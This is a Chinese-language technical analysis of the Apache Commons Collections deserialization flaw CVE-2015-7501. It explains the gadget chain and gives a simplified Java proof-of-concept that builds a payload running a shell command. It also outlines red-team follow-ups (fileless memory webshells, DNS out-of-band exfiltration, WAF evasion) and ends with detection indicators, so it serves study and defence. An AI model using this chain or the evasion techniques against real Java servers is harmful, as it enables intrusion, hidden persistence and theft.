CVE-2015-7501: Apache Commons Collections 反序列化漏洞深度分析

0x00 漏洞背景与详情

  • CVE ID: CVE-2015-7501
  • 受影响组件: Apache Commons Collections 3.x (<= 3.2.1)
  • 漏洞类型: 反序列化漏洞 (CWE-502)
  • 危险等级: 极高危 (Critical)
  • 影响范围: 大量使用 ACC 库的 Java 应用,包括 WebLogic, JBoss, Jenkins, WebSphere 等。

CVE-2015-7501 是 Java 安全领域极具里程碑意义的漏洞,它揭示了 Java 原生反序列化机制与通用第三方组件库结合所产生的巨大杀伤力。该漏洞的核心在于 ACC 库中的 InvokerTransformer 类允许在反序列化期间执行任意的反射调用,从而导致远程代码执行 (RCE)。

0x01 漏洞原理分析

漏洞的核心在于 Apache Commons Collections (ACC) 库提供的 Transformer 接口及其实现类 InvokerTransformer

  1. 危险的 InvokerTransformer: 该类的 transform(Object input) 方法会根据初始化时传入的 methodNameparameterTypesarguments,在传入的 input 对象上执行 Java 反射调用。
  2. 链条构建 (Gadget Chain): 攻击者利用 ChainedTransformer 将多个 InvokerTransformer 串联起来,形成一个可以执行任意代码的链条。通常最终目标是反射调用 java.lang.Runtime.getRuntime().exec()
  3. 自动触发机制: 为了在反序列化时自动触发 transform 调用,攻击者通常使用 TransformedMapLazyMap 装饰一个 Map,再配合 JDK 自带的 AnnotationInvocationHandler。当反序列化 AnnotationInvocationHandler 时,它的 readObject 方法会遍历 Map,从而自动触发 transform 逻辑。

0x02 POC (以 CommonsCollections1 为例)

以下是基于 AnnotationInvocationHandler + LazyMap 构造反序列化链的经典伪代码逻辑:

// 1. 构造执行 Runtime.getRuntime().exec() 的 Transformer 链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"touch /tmp/pwned"}) // 恶意命令
};
Transformer transformerChain = new ChainedTransformer(transformers);

// 2. 将链绑定到 LazyMap 上
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

// 3. 使用反射获取 AnnotationInvocationHandler 并实例化,将其与 lazyMap 绑定
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) handlerConstructor.newInstance(Retention.class, lazyMap);

// 4. 将 handler 序列化为字节流并发送给受害者
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(handler);

0x03 典型利用案例

由于 Apache Commons Collections 被极其广泛地引用,该漏洞横扫了当时的 Java 中间件:

  1. JBoss RCE: JBoss 的 invoker/JMXInvokerServlet 接口直接接收序列化对象,攻击者通过发送精心构造的 ACC 链字节流即可获取服务器权限。
  2. WebLogic RCE: WebLogic 的 T3 协议默认传输序列化对象,在未打补丁前,通过 T3 发送 ACC payload 是最经典的内网渗透手段。
  3. Jenkins RCE: Jenkins 的 CLI 接口曾通过反序列化进行通信,导致其也受此漏洞影响。

0x04 高级利用姿势

在实战中,仅仅执行 touch 或反弹 Shell 往往不够,红队通常会使用以下高级利用姿势:

1. 内存马注入 (Memory WebShell)

通过反序列化链执行 Java 代码,动态向当前的 Web 容器(如 Tomcat)注入无文件落地的 Filter、Servlet 或 Listener 内存马。

  • 利用原理:利用 InvokerTransformer 链或更复杂的 TemplatesImpl 链,获取当前上下文的 StandardContext 对象,调用其 addFilterDefaddFilterMap 方法,将恶意字节码直接注入内存。
  • 优势:无文件残留,重启即消失,能有效规避文件完整性监控 (FIM) 和传统的杀毒软件。

2. 命令执行回显 (Echo Technique)

默认情况下,Runtime.exec() 执行命令没有回显。高级利用会通过以下方式获取结果:

  • 异常回显:将命令执行结果包装成异常消息抛出,通过 HTTP 500 页面获取回显。
  • Response 对象回显:通过反射遍历当前线程或上下文,获取当前 HTTP 请求的 HttpServletResponse 对象,将命令执行结果直接写入输出流。
  • OOB (带外数据):对于不通外网的内网环境,通过 curlping 将数据拼接到 DNS 请求中带外传出 (DNSLog)。

3. 反序列化混淆与 WAF 绕过

  • 多链切换:如果 CommonsCollections1 链被 WAF 拦截,可以尝试 CommonsCollections3 (利用 TemplatesImpl 加载字节码) 或 CommonsCollections6 (利用 TiedMapEntry 触发)。
  • 二次反序列化:利用 java.security.SignedObject 等类对 Payload 进行二次封装,绕过 WAF 对原生类名特征的浅层黑名单检测。

0x05 应急排查与日志痕迹分析

1. 流量特征分析

  • 魔数识别:Java 序列化数据以十六进制 AC ED 00 05 开头,Base64 编码后通常表现为 rO0AB
  • 关键字检索:在 HTTP 流量(POST Body 或特定的 Cookie/Header)中搜索敏感类名,如 InvokerTransformer, ChainedTransformer, LazyMap, AnnotationInvocationHandler

2. 日志审计

  • Web 日志:检查是否存在大量产生 500 状态码的请求,特别是请求体体积庞大且包含乱码二进制数据的情况。
  • JVM 堆栈日志:如果应用崩溃或报错,检查 catalina.out 等日志。若堆栈中出现 readObject 并在调用栈上方看到 InvokerTransformer.transform,则是绝对的攻击铁证。

0x06 参考材料